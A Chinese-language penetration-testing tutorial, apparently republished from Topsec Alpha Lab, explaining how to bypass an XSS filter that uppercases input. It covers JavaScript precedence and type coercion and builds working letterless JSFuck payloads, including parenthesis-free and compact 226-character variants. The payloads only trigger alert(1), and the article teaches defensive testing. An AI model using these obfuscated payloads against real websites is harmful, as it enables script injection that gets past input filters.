作者: 天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/mjqks20xZSV9NwgeB9Q1fw
一、前言
在一次XSS測試中,往可控的參數中輸入XSS Payload,發現目標服務把所有字母都轉成了大寫,假如我輸入alert(1),會被轉成ALERT(1),除此之外并沒有其他限制,這時我了解到JavaScript中可以執行無字母的語句,從而可以繞過這種限制來執行XSS Payload。
二、JS基礎
先執行兩段JS代碼看下
([][[]]+[])[+!+[]]+([]+{})[+!+[]+!+[]]
([][[]]+[])[+!!~+!{}]+({}+{})[+!!{}+!!{}]

兩段js代碼都輸出了字符串"nb",下面來分析下原因.
JS運算符的優先級
下面的表將所有運算符按照優先級的不同從高(20)到低(1)排列。
| 優先級 | 運算類型 | 關聯性 | 運算符 |
|---|---|---|---|
| 20 | 圓括號 | n/a | ( … ) |
| 19 | 成員訪問 | 從左到右 | … . … |
| 19 | 需計算的成員訪問 | 從左到右 | … [ … ] |
| 19 | new (帶參數列表) | n/a | new … ( … ) |
| 19 | 函數調用 | 從左到右 | … ( … ) |
| 19 | 可選鏈(Optional chaining) | 從左到右 | ?. |
| 18 | new (無參數列表) | 從右到左 | new … |
| 17 | 后置遞增(運算符在后) | n/a | … ++ |
| 17 | 后置遞減(運算符在后) | n/a | … -- |
| 16 | 邏輯非 | 從右到左 | ! … |
| 16 | 按位非 | 從右到左 | ~ … |
| 16 | 一元加法 | 從右到左 | + … |
| 16 | 一元減法 | 從右到左 | - … |
| 16 | 前置遞增 | 從右到左 | ++ … |
| 16 | 前置遞減 | 從右到左 | -- … |
| 16 | typeof | 從右到左 | typeof … |
| 16 | void | 從右到左 | void … |
| 16 | delete | 從右到左 | delete … |
| 16 | await | 從右到左 | await … |
| 15 | 冪 | 從右到左 | … ** … |
| 14 | 乘法 | 從左到右 | … * … |
| 14 | 除法 | 從左到右 | … / … |
| 14 | 取模 | 從左到右 | … % … |
| 13 | 加法 | 從左到右 | … + … |
| 13 | 減法 | 從左到右 | … - … |
| 12 | 按位左移 | 從左到右 | … << … |
| 12 | 按位右移 | 從左到右 | … >> … |
| 12 | 無符號右移 | 從左到右 | … >>> … |
| 11 | 小于 | 從左到右 | … < … |
| 11 | 小于等于 | 從左到右 | … <= … |
| 11 | 大于 | 從左到右 | … > … |
| 11 | 大于等于 | 從左到右 | … >= … |
| 11 | in | 從左到右 | … in … |
| 11 | instanceof | 從左到右 | … instanceof … |
| 10 | 等號 | 從左到右 | … == … |
| 10 | 非等號 | 從左到右 | … != … |
| 10 | 全等號 | 從左到右 | … === … |
| 10 | 非全等號 | 從左到右 | … !== … |
| 9 | 按位與 | 從左到右 | … & … |
| 8 | 按位異或 | 從左到右 | … ^ … |
| 7 | 按位或 | 從左到右 | …|... |
| 6 | 邏輯與 | 從左到右 | … && … |
| 5 | 邏輯或 | 從左到右 | …||... |
| 4 | 條件運算符 | 從右到左 | … ? … : … |
| 3 | 賦值 | 從右到左 | … = … |
| 2 | yield* | 從右到左 | yield* … |
| 1 | 展開運算符 | n/a | ... … |
| 0 | 逗號 | 從左到右 | … , … |
以這個優先級對JS代碼([][[]]+[])[+!+[]]+([]+{})[+!+[]+!+[]]來進行分解 |

先來看第一個分解的JS([][[]]+[]), 在()內[]的優先級高,會先處理,控制臺執行看一下

JS類型轉換
從分解的第一段js可以看到輸出了字符串"undefined",這里就涉及到類型轉換。在JS中當操作符兩邊的操作數類型不一致或者不是原始類型,就需要類型轉換。JS有5種原始類型,Undefined、Null、Boolean、Number 和 String。
-
乘號、除號/、減號-,肯定是做數學運算,就會轉換成Number類型的。
-
加號+,有可能是字符串拼接,也可能是數學運算,所以可能轉化成Number或String。
-
符號!,表示取反,會轉換成Boolean類型。
-
符號~,把操作數轉成Number類型,取負運算在減1。
-
一元運算加法、減法,都會轉成Number類型。
在看下非原始類型轉換規則
ToPrimitive(input, PreferredType?) 可選參數PreferredType是Number或者是String。返回值為任何原始值。如果PreferredType是Number,執行順序如下:
-
如果input是原始值,直接返回這個值。
-
否則,如果input是對象,調用input.valueOf(),如果結果是原始值,返回結果。
-
否則,調用input.toString()。如果結果是原始值,返回結果。
-
否則,拋出TypeError。
如果轉換的類型是String,2和3會交換執行,即先執行toString()方法。
ToNumber 運算符根據下表將其參數轉換為數值類型的值
| 輸入類型 | 結果 |
|---|---|
| undefined | NaN |
| Null | +0 |
| Boolean | 如果參數是 true,結果為 1。如果參數是 false,此結果為 +0 |
| Number | 不轉換 |
| String | "" 轉換成 0,"123"轉換成"123",無法解析的轉換成NaN |
| Object | 調用ToPrimitive(input, Number) |
ToBoolean 運算符根據下表將其參數轉換為布爾值類型的值
| 輸入類型 | 結果 |
|---|---|
| undefined | false |
| Null | false |
| Boolean | 不轉換 |
| Number | 如果參數是 +0, -0, 或 NaN,結果為 false,否則結果為 true。 |
| String | 如果參數參數是空字符串(其長度為零),結果為 false,否則結果為 true。 |
| Object | true |
ToString 運算符根據下表將其參數轉換為字符串類型的值
| 輸入類型 | 結果 |
|---|---|
| undefined | "undefined" |
| Null | "null" |
| Boolean | 如果參數是 true,那么結果為 "true"。 如果參數是 false,那么結果為 "false"。 |
| String | 不轉換 |
| Number | 數字轉成字符串 例如 123轉成"123" |
| Object | 調用ToPrimitive(input, String) |
分解步驟
第一段JS([][[]]+[])根據優先級會先執行[],[]會定義一個空數組,[[]]會定義一個二維數組,那么[][[]]就是在一個空數組里面去尋找下標是一個非數字的值,肯定會返回undefined。到這可以分解成undefined+[],因為兩把的操作數類型不一致,這里會調用ToPrimitive來進行轉換

undefined根據上面的規則可以得知會轉換成字符串"undefined",這時就是執行"undefined"+"",結果就是"undefined"字符串。
第二段JS[+!+[]],會先執行里面的[]會定義一個空數組, 因為一元運算的原因會從右到左,那么+[]就會調用ToNumber,因為[]是Object類型所以會調用ToPrimitive,而[].toString()會返回""字符串,此時會執行+"",此時""會使用ToNumber進行轉換,結果會是0。后面接著會用!進行取反,因為0不是Boolean類型,會調用ToBoolean進行類型轉換,會轉成false,對false取反會得到true,接著執行+true,會用ToNumber對true進行類型轉換,會得到1,那么最終結果就是[1]
第三段JS([]+{}),[]通過ToPrimitive會得到""字符串,{}對象通過ToPrimitive會得到"[object Object]"字符串。
第四段JS[+!+[]+!+[]],根據優先級先執行[],+[]得到0,!0得到true,+true得到數字1,1+1則等于2,最終結果是[2]
最終把這4小段js代碼結果拼接起來看下,"undefined"[1]+"[object Object]"[2]。執行就會得到字符串"nb"。
三、分析JSFuck
JSFuck使用六個不同的字符()[]+!來編寫和執行任意JS代碼,在JS基礎中講述了如何通過幾個字符來生成任意的字符串,JsFuck不僅只是生成字符串,還可以執行任意JS代碼。
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])()
在控制臺執行上面的JS,瀏覽器會彈出一個對話框內容是1。

經過一步步拆解,最后執行的JS代碼是[]["fill"]["constructor"]("alert(1)")(),那這段代碼為啥會執行alert(1)呢,通過控制臺分解看下。

[]["fill"]獲取數組的fill方法。在JS中每個函數實際上都是Function 對象,所以能[]["fill"]["constructor"]這樣去獲取fill的構造函數,換一個其它的函數也可以的比如pop、map等等。執行[]["fill"]["constructor"]("alert(1)")()相當于執行了Function('alert(1)')() ,在Function()構造函數中,最后一個實參所表示的文本是函數體,它可以包含任意的JS語句,使用()調用時所以會執行alert(1),而不是字符串"alert(1)"
四、去掉括號
在前面的例子中都用到了()符號,用來進行分割語法,這里在看一個不用()的例子。
[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]`$${[!{}+[]][+[]][+!+[]]+[!{}+[]][+[]][+!+[]+!+[]]+[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]+[!![]+[]][+[]][+!+[]]+[!![]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]}$```
最后分解成這樣的
[]["constructor"]["constructor"]`$${['false'][0][1]+['false'][0][2]+['false'][0][4]+['true'][0][1]+['true'][0][0]+["function find() { [native code] }"][0][13]+1+["function find() { [native code] }"][0][14]}$```
可以看到Function這里用符號替換括號。alert(1)這里的括號獲取方式是["function find() { [native code] }"][0][13],這里找了find函數然后轉成字符串賦值在數組里面,獲取這個字符串的過程是[[]['find']['constructor'].toString()],然后從數組里面取出來字符串,在截取下標位置是13、14,對應(和)符號。$符號是為了定義函數的參數,不加這個語法在解析的時候會報錯。
有括號執行alert(1)字符串長度是976,沒有括號字符長度是1289。前面說過目標服務只是把小寫字母轉成了大寫,大寫字母和數字還是可以正常使用的,可以使用數字就不用一個個的加了,可以使用大寫字母可以把重復出現的字母定義成變量,這樣就不用每次去轉換了。
把要出現的字符都集中在一個變量里面
X=[![]]+!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[];
然后直接取字符串的下標
[][X[0]+X[19]+X[2]+X[2]][X[12]+X[15]+X[11]+X[3]+X[5]+X[6]+X[7]+X[12]+X[5]+X[15]+X[6]](X[1]+X[2]+X[4]+X[6]+X[5]+'('+1+')')()
執行的時候直接合成一行,整個字符的長度是226
X=[![]]+!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[];[][X[0]+X[19]+X[2]+X[2]][X[12]+X[15]+X[11]+X[3]+X[5]+X[6]+X[7]+X[12]+X[5]+X[15]+X[6]](X[1]+X[2]+X[4]+X[6]+X[5]+'('+1+')')()
瀏覽器會成功執行alert(1)

五、總結
在做測試的時候,首先可以確定下對哪些字符進行了過濾,然后再找其它的方法去替換過濾的字符,比如用`符號替換括號,用.join替換+號等等。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1244/
暫無評論